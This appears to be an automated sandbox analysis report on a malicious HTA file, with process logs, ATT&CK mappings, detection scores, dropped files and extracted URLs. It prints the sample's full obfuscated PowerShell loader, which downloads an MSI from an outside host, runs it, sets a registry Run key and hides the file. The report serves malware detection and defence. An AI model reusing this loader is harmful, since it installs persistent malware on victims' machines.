'onhqnhft.msi';ogedcacl $ieiuk $yscplg;pnjtla $ieiuk;$vqwqyetv = 'ijotpbq';jsnvceiix $ieiuk $vqwqyetv;fvpequfa $ieiuk;;;;}pateg;
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy unrestricted function ogedcacl($flnmpbxk, $agmxac){[io.file]::writeallbytes($flnmpbxk, $agmxac)};function pnjtla($flnmpbxk){if($flnmpbxk.endswith((bshfjqp @(4244,4298,4306,4306))) -eq $true){start-process (bshfjqp @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $flnmpbxk}else{start-process $flnmpbxk}};function jsnvceiix($flnmpbxk, $vqwqyetv){[microsoft.win32.registry]::setvalue((bshfjqp @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $vqwqyetv, $flnmpbxk)};function fvpequfa($flnmpbxk){$icpwe=(bshfjqp @(4270,4303,4298,4298,4299,4308));$ywlpnbbh=(get-childitem $flnmpbxk -force);$ywlpnbbh.attributes=$ywlpnbbh.attributes -bor ([io.fileattributes]$icpwe).value__};function cbgqtta($kpswxupu){$mswcv = new-object (bshfjqp @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12;$agmxac = $mswcv.downloaddata($kpswxupu);return $agmxac};function bshfjqp($scjspqnz){$ppswrynz=4198;$eqbspukg=$null;foreach($kpmiigix in $scjspqnz){$eqbspukg+=[char]($kpmiigix-$ppswrynz)};return $eqbspukg};function pateg(){$hdgyp = $env:appdata + '\';$yscplg = cbgqtta (bshfjqp @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$ieiuk = $hdgyp + 'onhqnhft.msi';ogedcacl $ieiuk $yscplg;pnjtla $ieiuk;$vqwqyetv = 'ijotpbq';jsnvceiix $ieiuk $vqwqyetv;fvpequfa $ieiuk;;;;}pateg;			Jump to behavior

Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: )[%d] Shell_TrayWndTrayNotifyWnd

Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: GetLocaleInfoA,		6_2_57001656
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: GetLocaleInfoW,		6_2_5700165E

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe

Code function: 6_2_57020704 GetVersion,CreateFileW,@System@@UStrFromPWChar$qqrr20System@UnicodeStringpb,@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus,@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%,CreateFileA,@System@@UStrClr$qqrpv,@System@@LStrClr$qqrpv,

6_2_57020704

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Command and Scripting Interpreter	21 Registry Run Keys / Startup Folder	212 Process Injection	21 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	21 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 DLL Side-Loading	212 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	11 Peripheral Device Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 DLL Side-Loading	DCSync	134 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
es.hta	24%	ReversingLabs	Script-WScript.Trojan.Heuristic
es.hta	26%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\jwhchx	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Aplanogamete\datastate.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Aplanogamete\madbasic_.bpl	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Aplanogamete\maddisAsm_.bpl	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Aplanogamete\madexcept_.bpl	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Aplanogamete\rtl120.bpl	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Aplanogamete\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Aplanogamete\vcl120.bpl	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Aplanogamete\vclx120.bpl	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\toolsync_RO\datastate.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\toolsync_RO\madbasic_.bpl	0%	ReversingLabs
C:\Users\user\AppData\Roaming\toolsync_RO\maddisAsm_.bpl	3%	ReversingLabs
C:\Users\user\AppData\Roaming\toolsync_RO\madexcept_.bpl	3%	ReversingLabs
C:\Users\user\AppData\Roaming\toolsync_RO\rtl120.bpl	3%	ReversingLabs
C:\Users\user\AppData\Roaming\toolsync_RO\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\toolsync_RO\vcl120.bpl	3%	ReversingLabs
C:\Users\user\AppData\Roaming\toolsync_RO\vclx120.bpl	3%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://s3.amazonaws.com/myfilelist/list-itop	0%	Avira URL Cloud	safe
https://pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev	0%	Avira URL Cloud	safe
https://pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev/ONHQNHFT.msi	0%	Avira URL Cloud	safe
https://s3.amazonaws.com/myfilelist/list-pdf	0%	Avira URL Cloud	safe
http://idrlicense.itopupdate.com/check.php	0%	Avira URL Cloud	safe
https://s3.amazonaws.com/myfilelist/list-itop	1%	Virustotal		Browse
https://s3.amazonaws.com/myfilelist/list-dpm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev	162.159.140.237	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev/ONHQNHFT.msi	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://s3.amazonaws.com/myfilelist/list-itop	IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://stats.reportcpanel.com/iusage_v2.php3	IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	false		high
http://idrlicense.itopupdate.com/check.php	IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1851526313.0000000005E38000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.vmware.com/0	IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.softwareok.com/?Freeware/Find.Same.Images.OK/History	cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1851526313.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1851526313.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.softwareok.com/?Freeware/Find.Same.Images.OK	cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	false		high
https://s3.amazonaws.com/myfilelist/list	IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	false		high
http://www.softwareok.de/?Download=Find.Same.Images.OK	cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000001.00000002.1851526313.0000000005E38000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	IDRBackup.exe, 00000006.00000002.2420697865.0000000059824000.00000020.00000001.01000000.0000000B.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1851526313.0000000005E38000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.vmware.com/0/	IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	false		high
http://ip-api.com/	IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000015.00000003.2521557740.00000199942A3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2521557740.00000199942E8000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2521557740.00000199942F4000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2521557740.00000199942C2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.softwareok.com/?seite=faq-Find.Same.Images.OK&faq=0	cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	false		high
http://www.???.xx/?search=%s	IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2908314880.00000001401E0000.00000002.00000001.01000000.00000021.sdmp	false		high
https://pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev	powershell.exe, 00000001.00000002.1851526313.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://s3.amazonaws.com/myfilelist/list-pdf	IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	false		high
https://goto.itopupdate.com/appgoto?name=idr	IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1851526313.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.softwareok.de/?Freeware/Find.Same.Images.OK	cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000015.00000003.2521557740.0000019994272000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2521557740.000001999420E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2	svchost.exe, 00000015.00000003.2521557740.00000199942C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000015.00000003.2521557740.00000199942C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000001.00000002.1851526313.0000000004DD1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.symauth.com/rpa00	IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	false		high
http://ip-api.com/json/	IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	false		high
http://www.softwareok.de/?seite=faq-Find.Same.Images.OK&faq=0	cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	false		high
https://s3.amazonaws.com/myfilelist/list-dpm	IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://www.softwareok.de	IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2908314880.00000001401E0000.00000002.00000001.01000000.00000021.sdmp	false		high
http://ascstats.iobit.com/base-info.php	IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	false		high
https://contoso.com/	powershell.exe, 00000001.00000002.1851526313.0000000005E38000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1851526313.0000000005E38000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.info-zip.org/	IDRBackup.exe, 00000006.00000002.2160089196.0000000003550000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.0000000004FE5000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004BDC000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.0000000005658000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.0000000005486000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ipinfo.io/	IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	false		high
http://www.softwareok.de/?Freeware/Find.Same.Images.OK/History	cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	false		high
